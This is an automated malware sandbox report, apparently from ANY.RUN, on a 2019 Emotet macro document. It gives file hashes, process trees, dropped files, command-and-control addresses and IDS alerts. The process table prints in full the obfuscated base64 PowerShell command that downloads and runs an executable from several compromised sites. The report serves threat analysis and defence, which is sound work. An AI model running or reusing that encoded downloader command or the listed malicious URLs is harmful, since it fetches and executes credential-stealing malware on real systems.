analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Inf-991174-8949428.doc

Full analysis: https://app.any.run/tasks/9593da53-1f80-4980-8342-9db730e15e1f
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: May 20, 2019, 07:44:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
opendir
loader
emotet
trojan
feodo
evasion
stealer
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Flat, Subject: customized, Author: Germaine Hackett, Comments: Isle Automotive, Shoes & Clothing, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue May 14 07:53:00 2019, Last Saved Time/Date: Tue May 14 07:53:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 166, Security: 0
MD5:

92ADC15F0AA1ECD366CF08C18438CA9E

SHA1:

26CF6E0BE4053C3BCBEDFF4B827F045E14578905

SHA256:

56BFA3B6295F734FEC4234846BFF6648AD5F6363169E6D3705C86D315ECE2F03

SSDEEP:

3072:Ei1Y77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qzMaJSWI+zy0WD8Mggr:e77HUUUUUUUUUUUUUUUUUUUT52Vg1AWY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 997.exe (PID: 3492)
      • 997.exe (PID: 2800)
      • soundser.exe (PID: 3992)
      • soundser.exe (PID: 3252)
      • soundser.exe (PID: 596)
      • HJ4k9pR.exe (PID: 1828)
      • HJ4k9pR.exe (PID: 3580)
      • soundser.exe (PID: 3572)
      • soundser.exe (PID: 4020)
      • soundser.exe (PID: 3884)
      • soundser.exe (PID: 3828)
      • soundser.exe (PID: 2944)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2604)
    • Emotet process was detected

      • soundser.exe (PID: 3252)
      • soundser.exe (PID: 596)
      • soundser.exe (PID: 3572)
    • EMOTET was detected

      • soundser.exe (PID: 3992)
      • soundser.exe (PID: 3572)
    • Changes the autorun value in the registry

      • soundser.exe (PID: 3992)
      • soundser.exe (PID: 3572)
    • Connects to CnC server

      • soundser.exe (PID: 3992)
      • soundser.exe (PID: 3572)
    • Actions looks like stealing of personal data

      • soundser.exe (PID: 4020)
      • soundser.exe (PID: 3884)
    • Stealing of credential data

      • soundser.exe (PID: 3884)
      • soundser.exe (PID: 2944)
      • soundser.exe (PID: 4020)
  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 2604)
    • Creates files in the user directory

      • powershell.exe (PID: 2604)
    • Executed via WMI

      • powershell.exe (PID: 2604)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2604)
      • 997.exe (PID: 2800)
      • soundser.exe (PID: 3992)
      • HJ4k9pR.exe (PID: 3580)
    • Application launched itself

      • 997.exe (PID: 3492)
      • soundser.exe (PID: 3252)
      • soundser.exe (PID: 3572)
    • Starts itself from another location

      • 997.exe (PID: 2800)
      • HJ4k9pR.exe (PID: 3580)
    • Connects to server without host name

      • soundser.exe (PID: 3572)
    • Loads DLL from Mozilla Firefox

      • soundser.exe (PID: 3884)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3948)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3948)
      • soundser.exe (PID: 3828)
      • soundser.exe (PID: 2944)
    • Reads settings of System Certificates

      • powershell.exe (PID: 2604)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
Title: Flat
Subject: customized
Author: Germaine Hackett
Keywords: -
Comments: Isle Automotive, Shoes & Clothing
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:05:14 06:53:00
ModifyDate: 2019:05:14 06:53:00
Pages: 1
Words: 29
Characters: 166
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Goodwin - Daniel
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 194
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Turner
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
51
Monitored processes
14
Malicious processes
10
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start winword.exe no specs powershell.exe 997.exe no specs 997.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe hj4k9pr.exe no specs hj4k9pr.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe soundser.exe soundser.exe no specs soundser.exe soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
3948"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Inf-991174-8949428.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
2604powershell -enc JABVADYAOAA0ADMAOAAxADEAPQAnAEgAMgAxADAAOAA5ACcAOwAkAEMANgA1ADYAMAA2AF8AIAA9ACAAJwA5ADkANwAnADsAJABVADgAMwAxADIANgA9ACcAVABfADEAOQA1ADMANgA0ACcAOwAkAEkAMgAzADEAOAAyADIANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwA2ADUANgAwADYAXwArACcALgBlAHgAZQAnADsAJAByADEANAA4ADEAMwA2AD0AJwBCADcAOAA5ADAAMAAwACcAOwAkAHEANgAwADQANgBfADUANwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYABCAGAAYwBMAGkAZQBuAHQAOwAkAEcAMAAyADIAOQA0ADcANgA9ACcAaAB0AHQAcABzADoALwAvAHQAZQBjAG4AbwBsAG8AZwBpAGEAbwBmAGkAYwBpAGEAbAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AYgByADgAMwAvAEAAaAB0AHQAcAA6AC8ALwBlAHYAYQBtAG8AdABlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbAAwADcAYgBwADgANAA4ADUALwBAAGgAdAB0AHAAOgAvAC8AdABlAHIAbQBpAG4AYQBsAC0AaABlAGEAdgBlAG4ALgBjAG8AbQAvADIAMAAwADYALwB3ADUAMQB6ADgANwAvAEAAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGgAdQB6AHUAcgB1AG4AawBhAGwAYgBpAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwAwAG0AaAA0ADcANQAvAEAAaAB0AHQAcABzADoALwAvAHIAZQBnAGkAZwBvAHMAYwBvAHIAaQBuAGcALgBjAG8AbQAvADcAYgAwAG8AZQB3AGUALwAzADIAZgBmAGQAMwA5AC8AJwAuAHMAUABMAEkAVAAoACcAQAAnACkAOwAkAEoANQA3ADkANQBfAD0AJwB1ADMAOQBfADYANgAnADsAZgBvAHIAZQBhAGMAaAAoACQASwA5ADUAXwAzADUAOQA1ACAAaQBuACAAJABHADAAMgAyADkANAA3ADYAKQB7AHQAcgB5AHsAJABxADYAMAA0ADYAXwA1ADcALgBEAE8AVwBuAEwAbwBBAEQAZgBpAEwAZQAoACQASwA5ADUAXwAzADUAOQA1ACwAIAAkAEkAMgAzADEAOAAyADIANwApADsAJABJADYAMAA4ADcAMQA9ACcAdwA5ADIAOAAzADIAXwA3ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQASQAyADMAMQA4ADIAMgA3ACkALgBMAGUAbgBHAFQASAAgAC0AZwBlACAAMwA5ADcAOQA5ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEkAMgAzADEAOAAyADIANwA7ACQAQgAwADEAOAA0ADEAPQAnAE4ANQA2ADYAMQA1ACcAOwBiAHIAZQBhAGsAOwAkAFIAXwA2ADgAMgAwADcAMAA9ACcAQQAwADgANAAyAF8AMwA0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAMAA2ADcANwA4ADMAPQAnAEsAMQAzADgANQA3ADcAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3492"C:\Users\admin\997.exe" C:\Users\admin\997.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Windows System Restore
Exit code:
0
Version:
6.1.7601.23539 (win7sp1_ldr.160902-0600)
2800--d3f25675C:\Users\admin\997.exe
997.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Windows System Restore
Exit code:
0
Version:
6.1.7601.23539 (win7sp1_ldr.160902-0600)
3252"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
997.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Windows System Restore
Exit code:
0
Version:
6.1.7601.23539 (win7sp1_ldr.160902-0600)
3992--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Windows System Restore
Exit code:
0
Version:
6.1.7601.23539 (win7sp1_ldr.160902-0600)
1828"C:\Users\admin\AppData\Local\soundser\HJ4k9pR.exe"C:\Users\admin\AppData\Local\soundser\HJ4k9pR.exesoundser.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3580--1ecc9003C:\Users\admin\AppData\Local\soundser\HJ4k9pR.exe
HJ4k9pR.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
596"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
HJ4k9pR.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3572--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Integrity Level:
MEDIUM
Total events
2 065
Read events
1 528
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
3
Text files
2
Unknown types
20

Dropped files

PID
Process
Filename
Type
3948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR3F4E.tmp.cvr
MD5:
SHA256:
2604powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TMAYGXATOZKJI2S10QDQ.temp
MD5:
SHA256:
2604powershell.exeC:\Users\admin\997.exe
MD5:
SHA256:
3948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:EAF385F49CB14B48DBCAAF76AEB02A06
SHA256:8B830D9DAB3EA87DC277A911203F2B0435340D9919A8B90D008679C75421AB53
3948WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:78854943818252C6E83A83506E030BA5
SHA256:70605DF163FEFE0262A4C8EC5FEA5164CDA9B34A06150B7FAA60DE41EEFE53B8
3948WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\41743AA0.wmfwmf
MD5:8A62C1798A0504F5222815145B762C50
SHA256:8E8FBB941AFAA734D04B68AF8EC1602B32F02AF02C99FAFBFAF935BA8326CD1C
3948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF073D905AE59570FF.TMP
MD5:
SHA256:
3948WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{724A7071-CD0C-4CCC-9570-5104A8B83D59}.tmp
MD5:
SHA256:
3948WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{805D23C7-FAE7-48EC-9A28-E86B27C92979}.tmp
MD5:
SHA256:
3828soundser.exeC:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
10
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2604
powershell.exe
GET
198.2.196.29:80
http://evamote.com/wp-content/l07bp8485/
CN
unknown
2604
powershell.exe
GET
404
202.181.99.31:80
http://terminal-heaven.com/2006/w51z87/
JP
html
210 b
suspicious
3572
soundser.exe
POST
200
81.143.213.156:7080
http://81.143.213.156:7080/taskbar/raster/ringin/
GB
binary
921 Kb
malicious
2604
powershell.exe
GET
200
185.48.181.170:80
http://www.huzurunkalbi.net/wp-admin/0mh475/
TR
executable
218 Kb
suspicious
3572
soundser.exe
POST
200
216.98.148.157:8080
http://216.98.148.157:8080/balloon/taskbar/ringin/merge/
US
binary
148 b
malicious
3572
soundser.exe
GET
200
216.98.148.157:8080
http://216.98.148.157:8080/whoami.php
US
text
13 b
malicious
3572
soundser.exe
POST
200
216.98.148.157:8080
http://216.98.148.157:8080/symbols/taskbar/ringin/merge/
US
binary
148 b
malicious
3572
soundser.exe
POST
200
81.143.213.156:7080
http://81.143.213.156:7080/enabled/
GB
binary
148 b
malicious
3992
soundser.exe
POST
200
181.15.177.100:443
http://181.15.177.100:443/mult/schema/ringin/merge/
AR
binary
65.6 Kb
malicious
3572
soundser.exe
POST
80.0.106.83:80
http://80.0.106.83/report/
GB
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3992
soundser.exe
181.15.177.100:443
Telecom Argentina S.A.
AR
malicious
2604
powershell.exe
185.48.181.170:80
www.huzurunkalbi.net
IHS Telekomunikasyon Ltd
TR
suspicious
2604
powershell.exe
202.181.99.31:80
terminal-heaven.com
SAKURA Internet Inc.
JP
suspicious
2604
powershell.exe
198.2.196.29:80
evamote.com
PEG TECH INC
CN
unknown
2604
powershell.exe
104.28.6.23:443
tecnologiaoficial.com
Cloudflare Inc
US
shared
3572
soundser.exe
80.0.106.83:80
Virgin Media Limited
GB
malicious
3572
soundser.exe
216.98.148.157:8080
CariNet, Inc.
US
malicious
3572
soundser.exe
81.143.213.156:7080
British Telecommunications PLC
GB
malicious

DNS requests

Domain
IP
Reputation
tecnologiaoficial.com
  • 104.28.6.23
  • 104.28.7.23
malicious
evamote.com
  • 198.2.196.29
unknown
terminal-heaven.com
  • 202.181.99.31
suspicious
www.huzurunkalbi.net
  • 185.48.181.170
suspicious

Threats

PID
Process
Class
Message
2604
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2604
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2604
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2604
powershell.exe
Misc activity
ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)
3992
soundser.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 6
3992
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3992
soundser.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
3572
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3572
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3572
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
14 ETPRO signatures available at the full report
No debug info